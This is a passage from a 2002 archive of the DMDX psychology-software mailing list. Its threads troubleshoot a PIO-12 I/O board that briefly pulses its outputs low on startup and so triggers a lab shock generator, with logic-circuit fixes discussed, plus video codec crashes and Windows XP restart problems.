exhibiting the same behvior. Well, there's not a lot of choice, DMDX initializes the device and then 1 or 2 milliseconds later writes 0xff to the output ports, it has to wait that long because otherwise the 8255 can latch up (it's a _really_ old piece of silicon, dates back to 8080 days) and it would appear that the initial state of the 8255 is to drive the lines low. So the lines go from their high impedance state which looks like a high signal to a momentary low as the device starts driving it's outputs and then to actively driven high as DMDX sets their rest state. I can't think of a solution other than to have a disable switch on the triggered device and to not enable it till the script is running. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Expert, n.: Someone who comes from out of town and shows slides. >From DMDX-owner@psy1.psych.arizona.edu Sat Mar 23 06:36:48 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id GAA20950 for ; Sat, 23 Mar 2002 06:35:54 -0700 Received: from dss2.med.gu.se (dss2.med.gu.se [130.241.85.25]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id g2NDZsp03363 for ; Sat, 23 Mar 2002 14:35:54 +0100 Received: from GWDOMNEU-Message_Server by dss2.med.gu.se with Novell_GroupWise; Sat, 23 Mar 2002 14:35:54 +0100 Message-Id: Date: Sat, 23 Mar 2002 14:33:29 +0100 From: ""Derek Eder"" To: Subject: [DMDX] Re: does PIO-12 normally reset 'low' when DMDX isstarted? Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list As a followup to my post yesterday about the undesirable behavior of PIO during DMDX startup ... here's the deal: I am using a post 1996 CMOS 82C55 Keithley PIO-12. Unlike the earlier PIO-12's, the I/O ports are pulled HIGH (+5 V) when the board is powered on. When the board is initialized, set I/O ports are set in their desired state (still HIGH in the case of DMDX). As I noted yesterday, starting DMDX causes all the output port bits to momentarily go LOW (to ground). If one of the PIO output bits is designed to trigger a shock generator (when the PIO bit goes LOW), then the subject gets a shock whenever DMDX is started. One possible work-around is to prevent the 'trigger bit' from acting is any of the other output bits are simultaneously LOW. This can be implemented in a simple logic circuit using one inverter and one OR gate (using 3 NOR gates of a 4001 quad NOR gate) Let's say that the shock generator is triggered from PIO output bit 7 and we determine the state of the other bits on initialization from bit 1. Here is the truth table of what we want: bit-7 bit-1 Output (trigger signal to shock generator, L = shock) --------------------------------------------------------------------- L H | L (LOW state triggers a shock) L L | H (HIGH = off, Output will be high unless H L | H only bit 7 is LOW) H H | H Circuit: Invert bit 1 and OR it with bit 7 <<< jforster@psy1.psych.arizona.edu 3/22 7:30p >>> At 07:00 PM 3/22/2002 +0100, you wrote: >I am trying to debug some unwanted PIO-12 behavior. > >When DMDX starts a script with in the parameter line, >the PIO outputs go 'low' momentarily. This is causing the unwanted >triggering of an external device. > >Is this a neccesary condition (that I have to learn to live with?) Hmm, I guess I've never stuck edge triggered devices on the outputs so I've never noticed -- although ISTR a skinner box I built years ago exhibiting the same behvior. Well, there's not a lot of choice, DMDX initializes the device and then 1 or 2 milliseconds later writes 0xff to the output ports, it has to wait that long because otherwise the 8255 can latch up (it's a _really_ old piece of silicon, dates back to 8080 days) and it would appear that the initial state of the 8255 is to drive the lines low. So the lines go from their high impedance state which looks like a high signal to a momentary low as the device starts driving it's outputs and then to actively driven high as DMDX sets their rest state. I can't think of a solution other than to have a disable switch on the triggered device and to not enable it till the script is running. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Expert, n.: Someone who comes from out of town and shows slides. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Sat Mar 23 09:30:53 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA21497 for ; Sat, 23 Mar 2002 09:29:14 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.2) by deimos.email.Arizona.EDU (6.0.040) id 3C99F4BA00041A12 for DMDX@psy1.psych.arizona.edu; Sat, 23 Mar 2002 09:29:13 -0700 Message-Id: <5.1.0.14.2.20020323091909.00b50bd0@psy1.psych.arizona.edu> Date: Sat, 23 Mar 2002 09:29:12 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: does PIO-12 normally reset 'low' when DMDX isstarted? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I'm surprised you don't get a brief (like a couple of nanoseconds) pulse out of that circuit. The output of the inverter on bit 1 will still be low when bit 7 goes low for however long it takes the signal to propagate through the inverter. But I guess you can easily avoid that buy running bit 7 through a pair of inverters to delay it. At 02:33 PM 3/23/2002 +0100, you wrote: >As a followup to my post yesterday about the undesirable behavior of PIO >during DMDX startup ... here's the deal: > >I am using a post 1996 CMOS 82C55 Keithley PIO-12. Unlike the earlier >PIO-12's, the I/O ports are pulled HIGH (+5 V) when the board is powered >on. When the board is initialized, set I/O ports are set in their desired >state (still HIGH in the case of DMDX). > >As I noted yesterday, starting DMDX causes all the output port bits to >momentarily go LOW (to ground). If one of the PIO output bits is designed >to trigger a shock generator (when the PIO bit goes LOW), then the subject >gets a shock whenever DMDX is started. > >One possible work-around is to prevent the 'trigger bit' from acting is >any of the other output bits are simultaneously LOW. This can be >implemented in a simple logic circuit using one inverter and one OR gate >(using 3 NOR gates of a 4001 quad NOR gate) > >Let's say that the shock generator is triggered from PIO output bit 7 and >we determine the state of the other bits on initialization from bit >1. Here is the truth table of what we want: > > >bit-7 bit-1 Output (trigger signal to shock generator, L = shock) >--------------------------------------------------------------------- >L H | L (LOW state triggers a shock) >L L | H (HIGH = off, Output will be high unless >H L | H only bit 7 is LOW) >H H | H > > >Circuit: Invert bit 1 and OR it with bit 7 > > > ><<< jforster@psy1.psych.arizona.edu 3/22 7:30p >>> >At 07:00 PM 3/22/2002 +0100, you wrote: > >I am trying to debug some unwanted PIO-12 behavior. > > > >When DMDX starts a script with in the parameter line, > >the PIO outputs go 'low' momentarily. This is causing the unwanted > >triggering of an external device. > > > >Is this a neccesary condition (that I have to learn to live with?) > > Hmm, I guess I've never stuck edge triggered devices on the outputs so >I've never noticed -- although ISTR a skinner box I built years ago >exhibiting the same behvior. Well, there's not a lot of choice, DMDX >initializes the device and then 1 or 2 milliseconds later writes 0xff to >the output ports, it has to wait that long because otherwise the 8255 can >latch up (it's a _really_ old piece of silicon, dates back to 8080 days) >and it would appear that the initial state of the 8255 is to drive the >lines low. So the lines go from their high impedance state which looks >like a high signal to a momentary low as the device starts driving it's >outputs and then to actively driven high as DMDX sets their rest state. I >can't think of a solution other than to have a disable switch on the >triggered device and to not enable it till the script is running. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >Expert, n.: > Someone who comes from out of town and shows slides. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The beauty of democracy is that the average man believes that he is above average. >From DMDX-owner@psy1.psych.arizona.edu Sun Mar 24 08:23:47 2002 Received: from mercury.ex.ac.uk (mercury.ex.ac.uk [144.173.6.26]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA24124 for ; Sun, 24 Mar 2002 08:22:46 -0700 Received: from [144.173.200.109] (helo=red109.ex.ac.uk) by mercury.ex.ac.uk with smtp (Exim 3.33 #1) id 16p9r2-008lSS-00 for DMDX@psy1.psych.arizona.edu; Sun, 24 Mar 2002 15:24:20 +0000 From: Mark Haskins To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Digital Video and DivX Codec Message-ID: Date: Sun, 24 Mar 2002 15:24:18 +0000 (GMT Standard Time) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I am currently trying to use digital videos in DMDX. I have downloaded the Video Demo from ""http://psy1.psych.arizona.edu/~jforster/dmdx/"" and have got it to work properly on my machine. The videos that I am using do not prove as fruitful... They are also .avi files, so I simply altered the code from the demo from ""explode"" to ""green"" (the name of my file). However, when it comes to loading my file DMDX ceases to work. It leaves the screen resolution of Windows (ME) set to the specification from the switch. My main reckoning on the problem is that the files that I am trying to use have been compressed using DivX Codec. They will run on my machine, as I have the necessary drivers, but I was thinking that maybe DMDX cannot handle DivX. Do you know if this is the case? Incidentally, I have a rather poor Video Card (2 MB), but it passes the tests in TimeDX, and can also run the videos from the demo. I would be really grateful for any light you could shed on this... Thankyou ---------------------- Mark Haskins >From DMDX-owner@psy1.psych.arizona.edu Sun Mar 24 12:13:19 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA24614 for ; Sun, 24 Mar 2002 12:12:29 -0700 Received: from dss2.med.gu.se (dss2.med.gu.se [130.241.85.25]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id g2OJCRp24168 for ; Sun, 24 Mar 2002 20:12:27 +0100 Received: from GWDOMNEU-Message_Server by dss2.med.gu.se with Novell_GroupWise; Sun, 24 Mar 2002 20:12:26 +0100 Message-Id: Date: Sun, 24 Mar 2002 20:09:45 +0100 From: ""Derek Eder"" To: Subject: [DMDX] Re: does PIO-12 normally reset 'low' when DMDXisstarted? Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Ha! I had the same thought, briefly, and then I repressed it because it spoiled my rosy little picture. That propagation delay through the inverter could cause a minute change of logic state. I'll find out tommorrow when I breadboard this thing. If it doesn't work, there is always plan B: Assume that the LOW pulse generated by the DMDX PIO initialization is rather short (< 20 msec). I can reject all PIO output 'trigger pulses' shorter than 50 msec (or whatever) by using a 50 msec pulse delay and OR'ing the delayed pulse with the PIO output. If the PIO trigger is nice and long, e.g., , then it overlaps the delayed pulse at 50 msec and the OR gate goes low (and triggers a shock). The only drawback is that all 'shock commands' are delayed by 50 msec. Why go through all of this? Because I am using a batch file to automatically sequence through a number of different DMDX based tests and accordingly DMDX is starting itself up many times over the course of 1 1/2 hours. So, it's not practical for me to simply turn off the triggered device before starting DMDX. Thanks for you help! - Derek <<< jforster@psy1.psych.arizona.edu 3/23 5:50p >>> I'm surprised you don't get a brief (like a couple of nanoseconds) pulse out of that circuit. The output of the inverter on bit 1 will still be low when bit 7 goes low for however long it takes the signal to propagate through the inverter. But I guess you can easily avoid that buy running bit 7 through a pair of inverters to delay it. At 02:33 PM 3/23/2002 +0100, you wrote: >As a followup to my post yesterday about the undesirable behavior of PIO >during DMDX startup ... here's the deal: > >I am using a post 1996 CMOS 82C55 Keithley PIO-12. Unlike the earlier >PIO-12's, the I/O ports are pulled HIGH (+5 V) when the board is powered >on. When the board is initialized, set I/O ports are set in their desired >state (still HIGH in the case of DMDX). > >As I noted yesterday, starting DMDX causes all the output port bits to >momentarily go LOW (to ground). If one of the PIO output bits is designed >to trigger a shock generator (when the PIO bit goes LOW), then the subject >gets a shock whenever DMDX is started. > >One possible work-around is to prevent the 'trigger bit' from acting is >any of the other output bits are simultaneously LOW. This can be >implemented in a simple logic circuit using one inverter and one OR gate >(using 3 NOR gates of a 4001 quad NOR gate) > >Let's say that the shock generator is triggered from PIO output bit 7 and >we determine the state of the other bits on initialization from bit >1. Here is the truth table of what we want: > > >bit-7 bit-1 Output (trigger signal to shock generator, L = shock) >--------------------------------------------------------------------- >L H | L (LOW state triggers a shock) >L L | H (HIGH = off, Output will be high unless >H L | H only bit 7 is LOW) >H H | H > > >Circuit: Invert bit 1 and OR it with bit 7 > > > ><<< jforster@psy1.psych.arizona.edu 3/22 7:30p >>> >At 07:00 PM 3/22/2002 +0100, you wrote: > >I am trying to debug some unwanted PIO-12 behavior. > > > >When DMDX starts a script with in the parameter line, > >the PIO outputs go 'low' momentarily. This is causing the unwanted > >triggering of an external device. > > > >Is this a neccesary condition (that I have to learn to live with?) > > Hmm, I guess I've never stuck edge triggered devices on the outputs so >I've never noticed -- although ISTR a skinner box I built years ago >exhibiting the same behvior. Well, there's not a lot of choice, DMDX >initializes the device and then 1 or 2 milliseconds later writes 0xff to >the output ports, it has to wait that long because otherwise the 8255 can >latch up (it's a _really_ old piece of silicon, dates back to 8080 days) >and it would appear that the initial state of the 8255 is to drive the >lines low. So the lines go from their high impedance state which looks >like a high signal to a momentary low as the device starts driving it's >outputs and then to actively driven high as DMDX sets their rest state. I >can't think of a solution other than to have a disable switch on the >triggered device and to not enable it till the script is running. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >Expert, n.: > Someone who comes from out of town and shows slides. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The beauty of democracy is that the average man believes that he is above average. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Sun Mar 24 13:05:02 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA24768 for ; Sun, 24 Mar 2002 13:04:49 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.2) by phobos.email.Arizona.EDU (6.0.040) id 3C99FD2F00052613 for DMDX@psy1.psych.arizona.edu; Sun, 24 Mar 2002 13:04:49 -0700 Message-Id: <5.1.0.14.2.20020324130359.00b49700@psy1.psych.arizona.edu> Date: Sun, 24 Mar 2002 13:04:49 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Digital Video and DivX Codec In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:24 PM 3/24/2002 +0000, you wrote: >Hi, I am currently trying to use digital videos in DMDX. I >have downloaded the Video Demo from >""http://psy1.psych.arizona.edu/~jforster/dmdx/"" and have >got it to work properly on my machine. The videos that I am >using do not prove as fruitful... > >They are also .avi files, so I simply altered the code from >the demo from ""explode"" to ""green"" (the name of my file). >However, when it comes to loading my file DMDX ceases to >work. It leaves the screen resolution of Windows (ME) set >to the specification from the switch. > >My main reckoning on the problem is that the files that I >am trying to use have been compressed using DivX Codec. >They will run on my machine, as I have the necessary >drivers, but I was thinking that maybe DMDX cannot handle >DivX. Do you know if this is the case? Never tried it. Patently as DMDX crashes there are still errors in the DivX codec. >Incidentally, I have a rather poor Video Card (2 MB), but >it passes the tests in TimeDX, and can also run the videos >from the demo. > >I would be really grateful for any light you could shed on >this... Thankyou Try another video card. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The beauty of democracy is that the average man believes that he is above average. >From DMDX-owner@psy1.psych.arizona.edu Sun Mar 24 13:14:27 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA24808 for ; Sun, 24 Mar 2002 13:13:49 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.2) by phobos.email.Arizona.EDU (6.0.040) id 3C99FD2F00052883 for DMDX@psy1.psych.arizona.edu; Sun, 24 Mar 2002 13:13:49 -0700 Message-Id: <5.1.0.14.2.20020324130529.00b49700@psy1.psych.arizona.edu> Date: Sun, 24 Mar 2002 13:13:48 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: does PIO-12 normally reset 'low' when DMDXisstarted? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:09 PM 3/24/2002 +0100, you wrote: >Ha! I had the same thought, briefly, and then I repressed it because it >spoiled my rosy little picture. That propagation delay through the >inverter could cause a minute change of logic state. I'll find out >tommorrow when I breadboard this thing. If it doesn't work, there is >always plan B: > >Assume that the LOW pulse generated by the DMDX PIO initialization is >rather short (< 20 msec). It will never be longer than 2ms. Not unless something goes badly awry. > I can reject all PIO output 'trigger pulses' shorter than 50 msec (or > whatever) by using a 50 msec pulse delay and OR'ing the delayed pulse > with the PIO output. If the PIO trigger is nice and long, e.g., 100>, then it overlaps the delayed pulse at 50 msec and the OR gate goes > low (and triggers a shock). The only drawback is that all 'shock > commands' are delayed by 50 msec. > >Why go through all of this? Because I am using a batch file to >automatically sequence through a number of different DMDX based tests and >accordingly DMDX is starting itself up many times over the course of 1 1/2 >hours. So, it's not practical for me to simply turn off the triggered >device before starting DMDX. Yeah, I'm no fan of monostables used that way and have been trying to think of some way of latching outputs that doesn't revolve around a timing component but have yet to come up with one. Well, one that doesn't use a bunch of devices anyway. Lowest component count I can come up with is to use a latch with a negative trigger but to put a RC filter on it so it takes a pulse longer than a few ms to trigger the latch. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The beauty of democracy is that the average man believes that he is above average. >From DMDX-owner@psy1.psych.arizona.edu Sun Mar 24 20:46:26 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA25754 for ; Sun, 24 Mar 2002 20:46:02 -0700 Received: from COMM301 (128.196.93.31) by deimos.email.Arizona.EDU (6.0.040) id 3C99F4BA00058899 for DMDX@psy1.psych.arizona.edu; Sun, 24 Mar 2002 20:46:02 -0700 From: ""Matthew Finkbeiner"" To: Subject: [DMDX] WindowsXP and DMDX Date: Sun, 24 Mar 2002 20:46:11 -0700 Message-ID: <000001c1d3af$9b170840$1f5dc480@COMM301> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20020324130529.00b49700@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Can anyone explain this one? I've got DMDX installed and working fine on my new XP system, but when I exit DMDX after having run a file my computer annoyingly restarts itself (it doesn't happen if I open DMDX and then close it without running an item file). thoughts anyone? Matthew >From DMDX-owner@psy1.psych.arizona.edu Sun Mar 24 21:02:15 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id VAA25959 for ; Sun, 24 Mar 2002 21:02:02 -0700 Received: from PYSC-MASTERS06.uws.edu.au ([137.154.108.112]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with ESMTP id g2P41wc15936 for ; Mon, 25 Mar 2002 15:01:58 +1100 (EST) Message-Id: <5.1.0.14.0.20020325150449.00a7d6e0@mail.uws.edu.au> Date: Mon, 25 Mar 2002 15:07:05 +1100 To: DMDX@psy1.psych.arizona.edu From: Arch Tibben Subject: [DMDX] Re: WindowsXP and DMDX In-Reply-To: <000001c1d3af$9b170840$1f5dc480@COMM301> References: <5.1.0.14.2.20020324130529.00b49700@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Can't explain it,however have found that others with XP seem to have those types of problems. Be good if you could try it on another version Arch At 08:46 PM 24/03/2002 -0700, you wrote: >Can anyone explain this one? I've got DMDX installed and working fine >on my new XP system, but when I exit DMDX after having run a file my >computer annoyingly restarts itself (it doesn't happen if I open DMDX >and then close it without running an item file). > >thoughts anyone? > > >Matthew > > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Sun Mar 24 21:39:06 2002 Received: from currawong2.psy.mq.edu.au (currawong2.psy.mq.edu.au [137.111.47.11]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id VAA26083 for ; Sun, 24 Mar 2002 21:38:55 -0700 Received: from [137.111.47.158] (pardalote.psy.mq.edu.au [137.111.47.158]) by currawong2.psy.mq.edu.au (8.11.6/8.11.6) with ESMTP id g2P4cs616963 for ; Mon, 25 Mar 2002 15:38:54 +1100 Date: Mon, 25 Mar 2002 15:38:53 +1100 Subject: [DMDX] Re: WindowsXP and DMDX From: Craig Richardson To: Message-ID: In-Reply-To: <5.1.0.14.0.20020325150449.00a7d6e0@mail.uws.edu.au> Mime-version: 1.0 Content-type: text/plain; charset=""US-ASCII"" Content-transfer-encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Probably not related but some of the latest winXP hotfixes were to do with startup/shutdown issues. Run the machine through windows update (http://windowsupdate.microsoft.com) or I think you can also access it in XP under the ""Automatic updates"" tab in system properties. Craig On 25/3/02 3:07 PM, ""Arch Tibben"" wrote: > > Can't explain it,however have found that others with XP seem to have those > types of problems. Be good if you could try it on another version > Arch > > At 08:46 PM 24/03/2002 -0700, you wrote: >> Can anyone explain this one? I've got DMDX installed and working fine >> on my new XP system, but when I exit DMDX after having run a file my >> computer annoyingly restarts itself (it doesn't happen if I open DMDX >> and then close it without running an item file). >> >> thoughts anyone? >> >> >> Matthew >> >> >> >> >> ==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >> ==================================================================== > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- Craig Richardson, BSc Systems Administrator Macquarie Centre for Cognitive Science email: craig@maccs.mq.edu.au phone : +61 2 98506730 fax: +61 2 9850 6059 Office : C5A567 >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 25 08:37:28 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA27408 for ; Mon, 25 Mar 2002 08:36:25 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.2) by phobos.email.Arizona.EDU (6.0.040) id 3C99FD2F000616F7 for DMDX@psy1.psych.arizona.edu; Mon, 25 Mar 2002 08:36:24 -0700 Message-Id: <5.1.0.14.2.20020325083553.00b39e20@psy1.psych.arizona.edu> Date: Mon, 25 Mar 2002 08:36:23 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: WindowsXP and DMDX In-Reply-To: <000001c1d3af$9b170840$1f5dc480@COMM301> References: <5.1.0.14.2.20020324130529.00b49700@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:46 PM 3/24/2002 -0700, you wrote: >Can anyone explain this one? I've got DMDX installed and working fine >on my new XP system, but when I exit DMDX after having run a file my >computer annoyingly restarts itself (it doesn't happen if I open DMDX >and then close it without running an item file). Get some new video card drivers, DMDX runs fine under XP. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The beauty of democracy is that the average man believes that he is above average. >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 25 08:38:35 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA27422 for ; Mon, 25 Mar 2002 08:38:08 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.2) by phobos.email.Arizona.EDU (6.0.040) id 3C99FD2F000617D9 for DMDX@psy1.psych.arizona.edu; Mon, 25 Mar 2002 08:38:08 -0700 Message-Id: <5.1.0.14.2.20020325083645.00b39e20@psy1.psych.arizona.edu> Date: Mon, 25 Mar 2002 08:38:07 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: WindowsXP and DMDX In-Reply-To: <000001c1d3af$9b170840$1f5dc480@COMM301> References: <5.1.0.14.2.20020324130529.00b49700@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:46 PM 3/24/2002 -0700, you wrote: >Can anyone explain this one? I've got DMDX installed and working fine >on my new XP system, but when I exit DMDX after having run a file my >computer annoyingly restarts itself (it doesn't happen if I open DMDX >and then close it without running an item file). Also, is the video card a GeForce card? Might need the old -buffers 4 on the command line, even though previous systems with GeForce cards crashed in DMDX XP might just postpone the inevitable. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The beauty of democracy is that the average man believes that he is above average. >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 25 08:41:06 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA27441 for ; Mon, 25 Mar 2002 08:40:40 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.2) by phobos.email.Arizona.EDU (6.0.040) id 3C99FD2F00061944 for DMDX@psy1.psych.arizona.edu; Mon, 25 Mar 2002 08:40:40 -0700 Message-Id: <5.1.0.14.2.20020325083836.00b39e20@psy1.psych.arizona.edu> Date: Mon, 25 Mar 2002 08:40:39 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: WindowsXP and DMDX In-Reply-To: <000001c1d3af$9b170840$1f5dc480@COMM301> References: <5.1.0.14.2.20020324130529.00b49700@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:46 PM 3/24/2002 -0700, you wrote: >Can anyone explain this one? I've got DMDX installed and working fine >on my new XP system, but when I exit DMDX after having run a file my >computer annoyingly restarts itself (it doesn't happen if I open DMDX >and then close it without running an item file). There's an option under properties of My Computer / Advanced / ""Startup and Recovery"" to Automatically Restart under system failure. Uncheck that, that way when your video drivers toast the machine you can actually see some diagnostics... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The beauty of democracy is that the average man believes that he is above average. >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 25 08:50:03 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA27512 for ; Mon, 25 Mar 2002 08:49:44 -0700 Received: from dss2.med.gu.se (dss2.med.gu.se [130.241.85.25]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id g2PFngp21089 for ; Mon, 25 Mar 2002 16:49:42 +0100 Received: from GWDOMNEU-Message_Server by dss2.med.gu.se with Novell_GroupWise; Mon, 25 Mar 2002 16:49:41 +0100 Message-Id: Date: Mon, 25 Mar 2002 16:47:23 +0100 From: ""Derek Eder"" To: Subject: [DMDX] Re: does PIO-12 normally reset 'low' whenDMDXisstarted? Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list 1. > Assume that the LOW pulse generated by the DMDX PIO initialization is > rather short (< 20 msec). ""It will never be longer than 2ms. Not unless something goes badly awry."" Hmmmm. I'm using an analog scope, so it's not easy to see these 